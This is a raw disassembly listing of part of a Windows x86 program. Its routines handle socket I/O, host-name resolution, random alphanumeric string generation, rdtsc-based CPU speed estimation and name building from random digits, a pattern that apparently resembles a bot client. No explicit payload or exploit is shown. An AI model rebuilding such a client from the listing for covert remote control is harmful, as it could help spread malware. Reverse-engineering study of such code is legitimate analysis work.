loc_41ACA1 cmp al, 0Dh jz short loc_41ACA1 cmp al, bl jnz short loc_41ACA9 loc_41ACA1: ; CODE XREF: ___:0041AC97j ; ___:0041AC9Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_41ACA9: ; CODE XREF: ___:0041AC9Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AC6B loc_41ACB6: ; CODE XREF: ___:0041AC67j ; ___:0041AC6Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AD00: ; CODE XREF: ___:004021A3j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40196A test al, al jnz short loc_41AD1C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AD1C: ; CODE XREF: ___:0041AD12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AD32 loc_41AD28: ; CODE XREF: ___:0041AD6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AD32: ; CODE XREF: ___:0041AD26j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41AD9D mov edi, ebp loc_41AD4B: ; CODE XREF: ___:0041AD9Bj cmp edi, ebx jz short loc_41AD9D cmp [esp+18h], bl jz short loc_41AD9D call sub_40196A test al, al jz short loc_41AD9D mov ecx, [esp+10h] push ebx push 1 push edi call sub_40196F test al, al jz short loc_41AD28 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AD7D cmp al, bl jnz short loc_41AD90 loc_41AD7D: ; CODE XREF: ___:0041AD77j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41AD8A mov [esi+ebp-1], bl jmp short loc_41AD8C ; --------------------------------------------------------------------------- loc_41AD8A: ; CODE XREF: ___:0041AD82j mov [edi], bl loc_41AD8C: ; CODE XREF: ___:0041AD88j mov [esp+18h], bl loc_41AD90: ; CODE XREF: ___:0041AD7Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AD4B loc_41AD9D: ; CODE XREF: ___:0041AD47j ; ___:0041AD4Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ADE0: ; CODE XREF: ___:00401082j push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41ADF2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ADF2: ; CODE XREF: ___:0041ADEAj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AE03 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE03: ; CODE XREF: ___:0041ADFBj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax nop call near ptr 71AB951Eh pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AE30 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41AE42 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE42: ; CODE XREF: sub_41AE30+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AE53 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE53: ; CODE XREF: sub_41AE30+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax nop call near ptr 71AC0B50h pop esi retn 8 sub_41AE30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AE80: ; CODE XREF: ___:00401C53j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41AEBF cmp eax, 0FFFFFFFFh jz short loc_41AEB5 cmp [esi+80Bh], cl jz short loc_41AEB5 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEB5: ; CODE XREF: ___:0041AE9Ej ; ___:0041AEA6j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEBF: ; CODE XREF: ___:0041AE99j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AEF5 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEF5: ; CODE XREF: ___:0041AEE9j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AF50: ; CODE XREF: ___:004016EFj sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41AF6D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AF6D: ; CODE XREF: ___:0041AF61j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AFA9 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AFA9: ; CODE XREF: ___:0041AF9Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AFF0: ; CODE XREF: ___:00401744j push esi mov esi, [esp+8] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax nop call near ptr 77C47A90h xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B060 proc near ; CODE XREF: sub_4018CAj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_41B090 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 nop call near ptr 71AB4519h retn 4 ; --------------------------------------------------------------------------- loc_41B090: ; CODE XREF: sub_41B060+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 nop call near ptr 71AB4519h retn 4 sub_41B060 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B0E0 proc near ; CODE XREF: sub_401186j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401C49 mov dword ptr [esi], offset off_43F0C0 mov eax, esi pop esi retn sub_41B0E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B110 proc near ; CODE XREF: ___:00401924j sub_401E92j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40187A test [esp+4+arg_0], 1 jz short loc_41B128 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B128: ; CODE XREF: sub_41B110+Dj mov eax, esi pop esi retn 4 sub_41B110 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B140 proc near ; CODE XREF: sub_40187Aj mov dword ptr [ecx], offset off_43F0C0 add ecx, 4 jmp sub_401FE6 sub_41B140 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B160 proc near ; CODE XREF: sub_401640j arg_0 = dword ptr 4 push esi push edi call sub_40196A test al, al jnz short loc_41B172 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B172: ; CODE XREF: sub_41B160+9j mov esi, [esp+8+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41B1C5 push esi nop call near ptr 71AB4FD4h mov edi, eax test edi, edi jnz short loc_41B197 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B197: ; CODE XREF: sub_41B160+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41B1AC loc_41B1A1: ; CODE XREF: sub_41B160+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_41B1A1 loc_41B1AC: ; CODE XREF: sub_41B160+3Fj call sub_401F0A dec esi push esi push 0 call sub_4021C6 ; --------------------------------------------------------------------------- mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_41B1C5: ; CODE XREF: sub_41B160+20j pop edi pop esi retn 4 sub_41B160 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B1F0: ; CODE XREF: ___:004020B3j push 0FFFFFFFFh push offset loc_43C007 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_40196A test al, al jnz short loc_41B22F mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_401870 jmp loc_41B3DB ; --------------------------------------------------------------------------- loc_41B22F: ; CODE XREF: ___:0041B218j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_401870 mov edi, 1 lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_4017EE test eax, eax push offset byte_448F40 jnz short loc_41B26C mov esi, [esp+58h] mov ecx, esi call sub_401870 mov [esp+0Ch], edi jmp loc_41B3CE ; --------------------------------------------------------------------------- loc_41B26C: ; CODE XREF: ___:0041B256j lea ecx, [esp+30h] call sub_4012EE test eax, eax push offset byte_448F40 jnz short loc_41B292 mov esi, [esp+58h] mov ecx, esi call sub_401870 mov [esp+0Ch], edi jmp loc_41B3CE ; --------------------------------------------------------------------------- loc_41B292: ; CODE XREF: ___:0041B27Cj lea ecx, [esp+18h] call sub_401870 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_4017EE push eax call sub_4382C2 ; --------------------------------------------------------------------------- cmp eax, ebx jz short loc_41B2D6 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014D3 mov [esp+0Ch], edi jmp loc_41B3C0 ; --------------------------------------------------------------------------- loc_41B2D6: ; CODE XREF: ___:0041B2BBj mov edi, [esp+10h] mov esi, offset dword_4447F8 mov ecx, [edi] mov eax, [ecx+4] loc_41B2E4: ; CODE XREF: ___:0041B302j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B308 cmp cl, bl jz short loc_41B304 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B308 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B2E4 loc_41B304: ; CODE XREF: ___:0041B2EEj xor eax, eax jmp short loc_41B30D ; --------------------------------------------------------------------------- loc_41B308: ; CODE XREF: ___:0041B2EAj ; ___:0041B2F8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B30D: ; CODE XREF: ___:0041B306j cmp eax, ebx jz short loc_41B37B push ebp loc_41B312: ; CODE XREF: ___:0041B365j ; ___:0041B369j nop call near ptr 27E0CD2h and eax, 0Fh cmp al, 8 jnz short loc_41B326 cmp word ptr [edi+8], 0Fh jz short loc_41B36B loc_41B326: ; CODE XREF: ___:0041B31Dj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_41B332 mov edi, ebp loc_41B332: ; CODE XREF: ___:0041B32Ej mov eax, [edi+4] mov esi, offset dword_4447F8 loc_41B33A: ; CODE XREF: ___:0041B358j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B35E cmp cl, bl jz short loc_41B35A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B35E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B33A loc_41B35A: ; CODE XREF: ___:0041B344j xor eax, eax jmp short loc_41B363 ; --------------------------------------------------------------------------- loc_41B35E: ; CODE XREF: ___:0041B340j ; ___:0041B34Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B363: ; CODE XREF: ___:0041B35Cj cmp eax, ebx jnz short loc_41B312 mov edi, ebp jmp short loc_41B312 ; --------------------------------------------------------------------------- loc_41B36B: ; CODE XREF: ___:0041B324j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_4015E1 pop ebp jmp short loc_41B388 ; --------------------------------------------------------------------------- loc_41B37B: ; CODE XREF: ___:0041B30Fj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_4015E1 loc_41B388: ; CODE XREF: ___:0041B379j push offset byte_448F40 lea ecx, [esp+18h] call sub_4012EE test eax, eax jnz short loc_41B3A8 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_4015E1 loc_41B3A8: ; CODE XREF: ___:0041B398j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014D3 mov dword ptr [esp+0Ch], 1 loc_41B3C0: ; CODE XREF: ___:0041B2D1j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_401226 loc_41B3CE: ; CODE XREF: ___:0041B267j ; ___:0041B28Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_401226 loc_41B3DB: ; CODE XREF: ___:0041B22Aj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B490: ; CODE XREF: ___:00402153j push esi mov esi, ecx call sub_401E88 push 0 lea ecx, [esi+15h] call sub_401C49 mov dword ptr [esi], offset off_43F0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4D0 proc near ; CODE XREF: sub_401406j ___:00402036j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BE0 test [esp+4+arg_0], 1 jz short loc_41B4E8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B4E8: ; CODE XREF: sub_41B4D0+Dj mov eax, esi pop esi retn 4 sub_41B4D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B500 proc near ; CODE XREF: sub_401BE0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41B500 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401FE6 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41B500 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B570: ; CODE XREF: ___:00401D52j push esi mov esi, ecx call sub_401E88 push 0 lea ecx, [esi+15h] call sub_401C49 mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_43F0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B5B0 proc near ; CODE XREF: sub_401686j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_41B6C0 mov ecx, [edi+823h] test ecx, ecx jz loc_41B6C0 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401492 mov ebp, dword_5118D8 test al, al jnz short loc_41B613 loc_41B5E9: ; CODE XREF: sub_41B5B0+61j mov al, [edi+10h] test al, al jz loc_41B6AF mov al, byte_4E8E54 test al, al jz short loc_41B613 push 7D0h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401492 test al, al jz short loc_41B5E9 loc_41B613: ; CODE XREF: sub_41B5B0+37j ; sub_41B5B0+4Bj mov al, [edi+10h] test al, al jz loc_41B6AF loc_41B61E: ; CODE XREF: sub_41B5B0+F9j mov al, byte_4E8E54 test al, al jz loc_41B6AF test esi, esi jnz short loc_41B64E push 80Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_41B64A push esi mov ecx, eax call sub_401C49 jmp short loc_41B64C ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5B0+8Ej xor eax, eax loc_41B64C: ; CODE XREF: sub_41B5B0+98j mov esi, eax loc_41B64E: ; CODE XREF: sub_41B5B0+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401B95 test al, al jnz short loc_41B667 push 7D0h call ebp jmp short loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B667: ; CODE XREF: sub_41B5B0+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_4018A2 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_41B6A4 push esi call dword ptr [edi+823h] add esp, 4 loc_41B6A4: ; CODE XREF: sub_41B5B0+B5j ; sub_41B5B0+E8j mov al, [edi+10h] test al, al jnz loc_41B61E loc_41B6AF: ; CODE XREF: sub_41B5B0+3Ej ; sub_41B5B0+68j ... mov ecx, ebx call sub_4014E7 pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_41B6C0: ; CODE XREF: sub_41B5B0+Bj ; sub_41B5B0+19j xor eax, eax pop edi add esp, 14h retn sub_41B5B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B720: ; CODE XREF: ___:00401C35j mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_41B795 mov esi, ebp loc_41B73F: ; CODE XREF: ___:0041B793j cmp esi, ebx jz short loc_41B795 cmp [esp+18h], bl jz short loc_41B795 mov ecx, [esp+14h] push ebx push 1 push esi push ecx call near ptr 71AB615Ah nop cmp eax, ebx jz short loc_41B7A4 cmp eax, 0FFFFFFFFh jz short loc_41B7A4 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_41B79D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_41B780 cmp al, 0Dh jz short loc_41B780 cmp al, bl jnz short loc_41B788 loc_41B780: ; CODE XREF: ___:0041B776j ; ___:0041B77Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_41B788: ; CODE XREF: ___:0041B77Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_41B73F loc_41B795: ; CODE XREF: ___:0041B73Bj ; ___:0041B741j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_41B79D: ; CODE XREF: ___:0041B76Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B7A4: ; CODE XREF: ___:0041B75Aj ; ___:0041B75Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B7E0 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_41B84A mov edi, ebp loc_41B7FF: ; CODE XREF: sub_41B7E0+68j cmp edi, ebx jz short loc_41B84A cmp byte ptr [esp+10h+arg_4], bl jz short loc_41B84A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx nop call near ptr 71AB615Ah test eax, eax jz short loc_41B859 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41B82A cmp al, bl jnz short loc_41B83D loc_41B82A: ; CODE XREF: sub_41B7E0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41B837 mov [esi+ebp-1], bl jmp short loc_41B839 ; --------------------------------------------------------------------------- loc_41B837: ; CODE XREF: sub_41B7E0+4Fj mov [edi], bl loc_41B839: ; CODE XREF: sub_41B7E0+55j mov byte ptr [esp+10h+arg_4], bl loc_41B83D: ; CODE XREF: sub_41B7E0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_41B7FF loc_41B84A: ; CODE XREF: sub_41B7E0+1Bj ; sub_41B7E0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B859: ; CODE XREF: sub_41B7E0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_41B7E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B880: ; CODE XREF: ___:00401AF0j push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_41B8DB loc_41B8A6: ; CODE XREF: ___:0041B8D9j push 3 push 1 call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 dec eax jz short loc_41B8C7 dec eax jz short loc_41B8C1 dec eax jnz short loc_41B8D6 push 7Ah push 61h jmp short loc_41B8CB ; --------------------------------------------------------------------------- loc_41B8C1: ; CODE XREF: ___:0041B8B6j push 5Ah push 41h jmp short loc_41B8CB ; --------------------------------------------------------------------------- loc_41B8C7: ; CODE XREF: ___:0041B8B3j push 39h push 30h loc_41B8CB: ; CODE XREF: ___:0041B8BFj ; ___:0041B8C5j call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esi+ebx], al loc_41B8D6: ; CODE XREF: ___:0041B8B9j inc esi cmp esi, ebp jl short loc_41B8A6 loc_41B8DB: ; CODE XREF: ___:0041B8A4j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: sub_401424j rdtsc retn sub_41B900 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B920 proc near ; CODE XREF: sub_4017FDj var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, dword_5118D8 push ebp push esi push edi xor ebp, ebp loc_41B92F: ; CODE XREF: sub_41B920+43j ; sub_41B920+4Dj call sub_401424 push 3E8h mov esi, eax mov edi, edx call ebx call sub_401424 sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_437C60 push ebp push 0Ah push edx push eax call sub_437C60 cmp edx, ebp mov esi, eax ja short loc_41B92F jb short loc_41B96F cmp esi, 0F4240h ja short loc_41B92F loc_41B96F: ; CODE XREF: sub_41B920+45j push ebp push 64h push edx push esi call sub_437BE0 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_41B9F9 jb short loc_41B98F cmp ecx, 50h jnb short loc_41B998 loc_41B98F: ; CODE XREF: sub_41B920+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_41B998: ; CODE XREF: sub_41B920+6Dj cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9A3 cmp ecx, 47h jnb short loc_41B9AC loc_41B9A3: ; CODE XREF: sub_41B920+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_41B9AC: ; CODE XREF: sub_41B920+81j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9B7 cmp ecx, 37h jnb short loc_41B9C0 loc_41B9B7: ; CODE XREF: sub_41B920+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_41B9C0: ; CODE XREF: sub_41B920+95j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9CB cmp ecx, 26h jnb short loc_41B9D4 loc_41B9CB: ; CODE XREF: sub_41B920+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_41B9D4: ; CODE XREF: sub_41B920+A9j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9DF cmp ecx, 1Eh jnb short loc_41B9E8 loc_41B9DF: ; CODE XREF: sub_41B920+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_41B9E8: ; CODE XREF: sub_41B920+BDj cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9F3 cmp ecx, 0Ah jnb short loc_41B9F9 loc_41B9F3: ; CODE XREF: sub_41B920+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_41B9F9: ; CODE XREF: sub_41B920+66j ; sub_41B920+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_41B920 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BA50 proc near ; CODE XREF: sub_402040j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41BA50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, byte_449739 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41BBAF push ebp lea ecx, [esp+50h+var_3C] call sub_40142E push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401C71 mov ebp, eax call sub_401F0A lea ecx, [esp+50h+var_3C] call sub_4013E3 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp call near ptr 2810000h nop test eax, eax jnz short loc_41BAE6 mov edi, offset byte_448F40 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41BAE6: ; CODE XREF: sub_41BA50+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41BAEF: ; CODE XREF: sub_41BA50+A9j cmp ecx, eax jnz short loc_41BAF5 mov bl, 1 loc_41BAF5: ; CODE XREF: sub_41BA50+A1j inc eax cmp eax, 5Bh jl short loc_41BAEF mov eax, 61h loc_41BB00: ; CODE XREF: sub_41BA50+BAj cmp ecx, eax jnz short loc_41BB06 mov bl, 1 loc_41BB06: ; CODE XREF: sub_41BA50+B2j inc eax cmp eax, 7Bh jl short loc_41BB00 test bl, bl jnz short loc_41BB32 mov edi, offset byte_448F40 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41BB32: ; CODE XREF: sub_41BA50+BEj mov esi, dword_511AC8 call esi cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_3C] push edx mov ecx, esi call sub_4014D3 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_401226 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41BBAF: ; CODE XREF: sub_41BA50+2Aj lea ecx, [esp+4Ch+var_24] call sub_40142E mov ebx, 2 mov [esp+4Ch+var_4], ebx nop call near ptr 27E0CD2h push eax nop call near ptr 77C371BCh mov edi, dword_511AC8 